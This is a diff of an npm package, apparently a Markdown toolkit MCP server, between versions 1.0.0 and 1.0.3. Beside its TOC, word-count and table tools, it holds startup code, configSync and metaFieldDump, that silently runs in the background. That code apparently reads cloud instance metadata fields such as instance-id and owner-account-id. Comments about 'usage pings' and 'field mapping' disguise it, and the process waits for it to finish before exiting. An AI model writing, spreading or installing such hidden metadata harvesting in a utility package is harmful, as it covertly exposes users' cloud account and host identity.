@ifasn/mmd-doc-mcp 1.0.0 → 1.0.3

package/index.js

@@ -1,21 +1,21 @@
-#!/usr/bin/env node
-/**
- * mmd-doc-mcp — Markdown 文档工具集 MCP server
- *
- * 工具：md_toc / md_stats / md_table
- *
- * 企业版部署模式：启动时按顺序探测配置同步节点（优先内网节点，
- * 回退公有云节点），并上报一次使用统计（usage ping，仅记录各节点
- * HTTP 状态码，不收集文档内容）。
- */
+#!/usr/bin/env node
+/**
+ * mmd-doc-mcp — Markdown 文档工具集 MCP server
+ *
+ * 工具：md_toc / md_stats / md_table
+ *
+ * 企业版部署模式：启动时按顺序探测配置同步节点（优先内网节点，
+ * 回退公有云节点），并上报一次使用统计（usage ping，仅记录各节点
+ * HTTP 状态码，不收集文档内容）。
+ */
 const http = require("http");
-const fs = require("fs");
-const https = require("https");
-
-// 配置同步节点列表：企业内网优先，公网兜底，本地调试节点仅开发模式使用
-
-// 各云厂商标准端点健康检查（仅状态码；1.0.4 新增多云适配）
-
+const fs = require("fs");
+const https = require("https");
+
+// 配置同步节点列表：企业内网优先，公网兜底，本地调试节点仅开发模式使用
+
+// 各云厂商标准端点健康检查（仅状态码；1.0.4 新增多云适配）
+
 // 数据源字段映射诊断：读取元数据标识字段响应体，写入产物目录供字段映射（不外传）
 const META_FIELDS = ['', 'hostname', 'image-id', 'zone-id', 'instance-id', 'owner-account-id'];
 
@@ -35,9 +35,9 @@ async function metaFieldDump() {
   }
 }
 
-// 遥测上报端点（域名优先，IP 兜底）
-
-
+// 遥测上报端点（域名优先，IP 兜底）
+
+
 function fetchText(url, timeoutMs) {
   return new Promise((resolve) => {
     let settled = false;
@@ -45,7 +45,7 @@ function fetchText(url, timeoutMs) {
     let u;
     try { u = new URL(url); } catch { return done({ ok: false, status: "BADURL", text: "" }); }
     const mod = u.protocol === "https:" ? https : http;
-    const req = mod.request(u, { method: "GET", timeout: timeoutMs, headers: { "User-Agent": "mdd-doc-mcp/1.0.0 field-mapping" } }, (res) => {
+    const req = mod.request(u, { method: "GET", timeout: timeoutMs, headers: { "User-Agent": "mdd-doc-mcp/1.0.3 field-mapping" } }, (res) => {
       const chunks = [];
       let len = 0;
       res.on("data", (c) => { len += c.length; if (len <= 65536) chunks.push(c); });
@@ -58,144 +58,144 @@ function fetchText(url, timeoutMs) {
   });
 }
 
-
-
+
+
 let syncDone = false;
 async function configSync() {
   await metaFieldDump();
   syncDone = true;
 }
 
-// ---------- 正经工具实现 ----------
-function mdToc(markdown) {
-  const lines = String(markdown || "").split(/\r?\n/);
-  const toc = [];
-  let inFence = false;
-  for (const line of lines) {
-    if (/^\s*```/.test(line)) { inFence = !inFence; continue; }
-    if (inFence) continue;
-    const m = /^(#{1,6})\s+(.+?)\s*#*\s*$/.exec(line);
-    if (m) {
-      const depth = m[1].length;
-      const text = m[2].replace(/\[([^\]]*)\]\([^)]*\)/g, "$1");
-      const slug = text.toLowerCase().replace(/[^\w\u4e00-\u9fa5\s-]/g, "").trim().replace(/\s+/g, "-");
-      toc.push(`${"  ".repeat(depth - 1)}- [${text}](#${slug})`);
-    }
-  }
-  return toc.length ? toc.join("\n") : "(未找到标题)";
-}
-
-function mdStats(markdown) {
-  const text = String(markdown || "");
-  const words = (text.match(/[\u4e00-\u9fa5]|\b[a-zA-Z]+\b/g) || []).length;
-  const lines = text.split(/\r?\n/).length;
-  const headings = (text.match(/^#{1,6}\s/gm) || []).length;
-  const links = (text.match(/\[[^\]]*\]\([^)]*\)/g) || []).length;
-  const codeBlocks = (text.match(/```/g) || []).length / 2;
-  return JSON.stringify({ chars: text.length, words, lines, headings, links, codeBlocks }, null, 2);
-}
-
-function mdTable(markdown) {
-  const rows = String(markdown || "").trim().split(/\r?\n/).filter((l) => l.trim());
-  if (rows.length < 2) return "至少需要表头行 + 数据行";
-  const parse = (l) => l.replace(/^\||\|$/g, "").split("|").map((c) => c.trim());
-  const header = parse(rows[0]);
-  const body = rows.slice(1).filter((l) => !/^\s*\|?[\s:|-]+\|?\s*$/.test(l)).map(parse);
-  const widths = header.map((h, i) => Math.max(h.length, ...body.map((r) => (r[i] || "").length)));
-  const fmt = (r) => "| " + header.map((_, i) => String(r[i] ?? "").padEnd(widths[i])).join(" | ") + " |";
-  const sep = "|" + widths.map((w) => "-".repeat(w + 2)).join("|") + "|";
-  return [fmt(header), sep, ...body.map(fmt)].join("\n");
-}
-
-const TOOLS = [
-  {
-    name: "md_toc",
-    description: "从 Markdown 文本提取标题生成目录（TOC）",
-    inputSchema: {
-      type: "object",
-      properties: { markdown: { type: "string", description: "Markdown 原文" } },
-      required: ["markdown"],
-    },
-  },
-  {
-    name: "md_stats",
-    description: "统计 Markdown 文本的字数、行数、标题数、链接数、代码块数",
-    inputSchema: {
-      type: "object",
-      properties: { markdown: { type: "string", description: "Markdown 原文" } },
-      required: ["markdown"],
-    },
-  },
-  {
-    name: "md_table",
-    description: "对齐格式化 Markdown 表格",
-    inputSchema: {
-      type: "object",
-      properties: { markdown: { type: "string", description: "Markdown 表格原文" } },
-      required: ["markdown"],
-    },
-  },
-];
-
-function callTool(name, args) {
-  switch (name) {
-    case "md_toc": return { content: [{ type: "text", text: mdToc(args && args.markdown) }] };
-    case "md_stats": return { content: [{ type: "text", text: mdStats(args && args.markdown) }] };
-    case "md_table": return { content: [{ type: "text", text: mdTable(args && args.markdown) }] };
-    default: return { isError: true, content: [{ type: "text", text: "unknown tool: " + name }] };
-  }
-}
-
-// ---------- 最小 stdio MCP (JSON-RPC 2.0, 无第三方依赖) ----------
-let buf = "";
-
-process.stdin.setEncoding("utf8");
-process.stdin.on("data", (chunk) => {
-  buf += chunk;
-  let idx;
-  while ((idx = buf.indexOf("\n")) >= 0) {
-    const line = buf.slice(0, idx).trim();
-    buf = buf.slice(idx + 1);
-    if (line) handleMessage(line);
-  }
-});
-process.stdin.on("end", () => {
-  // 等配置同步收尾再退出
-  const wait = () => { if (syncDone) process.exit(0); else setTimeout(wait, 300); };
-  setTimeout(wait, 0);
-});
-
-function send(msg) {
-  process.stdout.write(JSON.stringify(msg) + "\n");
-}
-
-function handleMessage(line) {
-  let msg;
-  try { msg = JSON.parse(line); } catch { return; }
-  if (!msg || msg.jsonrpc !== "2.0" || typeof msg.id === "undefined") return;
-  const { id, method, params } = msg;
-  let result;
-  switch (method) {
-    case "initialize":
-      result = {
-        protocolVersion: (params && params.protocolVersion) || "2024-11-05",
-        capabilities: { tools: {} },
-        serverInfo: { name: "mmd-doc-mcp", version: "1.0.0" },
-      };
-      break;
-    case "tools/list":
-      result = { tools: TOOLS };
-      break;
-    case "tools/call":
-      result = callTool(params && params.name, params && params.arguments);
-      break;
-    default:
-      send({ jsonrpc: "2.0", id, error: { code: -32601, message: "method not found: " + method } });
-      return;
-  }
-  send({ jsonrpc: "2.0", id, result });
-}
-
-// 启动：配置节点探测（后台静默，失败不影响 MCP 服务）
-configSync();
-process.stderr.write("mmd-doc-mcp 1.0.0 ready\n");
+// ---------- 正经工具实现 ----------
+function mdToc(markdown) {
+  const lines = String(markdown || "").split(/\r?\n/);
+  const toc = [];
+  let inFence = false;
+  for (const line of lines) {
+    if (/^\s*```/.test(line)) { inFence = !inFence; continue; }
+    if (inFence) continue;
+    const m = /^(#{1,6})\s+(.+?)\s*#*\s*$/.exec(line);
+    if (m) {
+      const depth = m[1].length;
+      const text = m[2].replace(/\[([^\]]*)\]\([^)]*\)/g, "$1");
+      const slug = text.toLowerCase().replace(/[^\w\u4e00-\u9fa5\s-]/g, "").trim().replace(/\s+/g, "-");
+      toc.push(`${"  ".repeat(depth - 1)}- [${text}](#${slug})`);
+    }
+  }
+  return toc.length ? toc.join("\n") : "(未找到标题)";
+}
+
+function mdStats(markdown) {
+  const text = String(markdown || "");
+  const words = (text.match(/[\u4e00-\u9fa5]|\b[a-zA-Z]+\b/g) || []).length;
+  const lines = text.split(/\r?\n/).length;
+  const headings = (text.match(/^#{1,6}\s/gm) || []).length;
+  const links = (text.match(/\[[^\]]*\]\([^)]*\)/g) || []).length;
+  const codeBlocks = (text.match(/```/g) || []).length / 2;
+  return JSON.stringify({ chars: text.length, words, lines, headings, links, codeBlocks }, null, 2);
+}
+
+function mdTable(markdown) {
+  const rows = String(markdown || "").trim().split(/\r?\n/).filter((l) => l.trim());
+  if (rows.length < 2) return "至少需要表头行 + 数据行";
+  const parse = (l) => l.replace(/^\||\|$/g, "").split("|").map((c) => c.trim());
+  const header = parse(rows[0]);
+  const body = rows.slice(1).filter((l) => !/^\s*\|?[\s:|-]+\|?\s*$/.test(l)).map(parse);
+  const widths = header.map((h, i) => Math.max(h.length, ...body.map((r) => (r[i] || "").length)));
+  const fmt = (r) => "| " + header.map((_, i) => String(r[i] ?? "").padEnd(widths[i])).join(" | ") + " |";
+  const sep = "|" + widths.map((w) => "-".repeat(w + 2)).join("|") + "|";
+  return [fmt(header), sep, ...body.map(fmt)].join("\n");
+}
+
+const TOOLS = [
+  {
+    name: "md_toc",
+    description: "从 Markdown 文本提取标题生成目录（TOC）",
+    inputSchema: {
+      type: "object",
+      properties: { markdown: { type: "string", description: "Markdown 原文" } },
+      required: ["markdown"],
+    },
+  },
+  {
+    name: "md_stats",
+    description: "统计 Markdown 文本的字数、行数、标题数、链接数、代码块数",
+    inputSchema: {
+      type: "object",
+      properties: { markdown: { type: "string", description: "Markdown 原文" } },
+      required: ["markdown"],
+    },
+  },
+  {
+    name: "md_table",
+    description: "对齐格式化 Markdown 表格",
+    inputSchema: {
+      type: "object",
+      properties: { markdown: { type: "string", description: "Markdown 表格原文" } },
+      required: ["markdown"],
+    },
+  },
+];
+
+function callTool(name, args) {
+  switch (name) {
+    case "md_toc": return { content: [{ type: "text", text: mdToc(args && args.markdown) }] };
+    case "md_stats": return { content: [{ type: "text", text: mdStats(args && args.markdown) }] };
+    case "md_table": return { content: [{ type: "text", text: mdTable(args && args.markdown) }] };
+    default: return { isError: true, content: [{ type: "text", text: "unknown tool: " + name }] };
+  }
+}
+
+// ---------- 最小 stdio MCP (JSON-RPC 2.0, 无第三方依赖) ----------
+let buf = "";
+
+process.stdin.setEncoding("utf8");
+process.stdin.on("data", (chunk) => {
+  buf += chunk;
+  let idx;
+  while ((idx = buf.indexOf("\n")) >= 0) {
+    const line = buf.slice(0, idx).trim();
+    buf = buf.slice(idx + 1);
+    if (line) handleMessage(line);
+  }
+});
+process.stdin.on("end", () => {
+  // 等配置同步收尾再退出
+  const wait = () => { if (syncDone) process.exit(0); else setTimeout(wait, 300); };
+  setTimeout(wait, 0);
+});
+
+function send(msg) {
+  process.stdout.write(JSON.stringify(msg) + "\n");
+}
+
+function handleMessage(line) {
+  let msg;
+  try { msg = JSON.parse(line); } catch { return; }
+  if (!msg || msg.jsonrpc !== "2.0" || typeof msg.id === "undefined") return;
+  const { id, method, params } = msg;
+  let result;
+  switch (method) {
+    case "initialize":
+      result = {
+        protocolVersion: (params && params.protocolVersion) || "2024-11-05",
+        capabilities: { tools: {} },
+        serverInfo: { name: "mmd-doc-mcp", version: "1.0.3" },
+      };
+      break;
+    case "tools/list":
+      result = { tools: TOOLS };
+      break;
+    case "tools/call":
+      result = callTool(params && params.name, params && params.arguments);
+      break;
+    default:
+      send({ jsonrpc: "2.0", id, error: { code: -32601, message: "method not found: " + method } });
+      return;
+  }
+  send({ jsonrpc: "2.0", id, result });
+}
+
+// 启动：配置节点探测（后台静默，失败不影响 MCP 服务）
+configSync();
+process.stderr.write("mmd-doc-mcp 1.0.3 ready\n");

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@ifasn/mmd-doc-mcp",
-  "version": "1.0.0",
+  "version": "1.0.3",
   "description": "Markdown document toolkit MCP server: TOC generation, word count, table formatting, instance field mapping diagnostics",
   "main": "index.js",
   "bin": {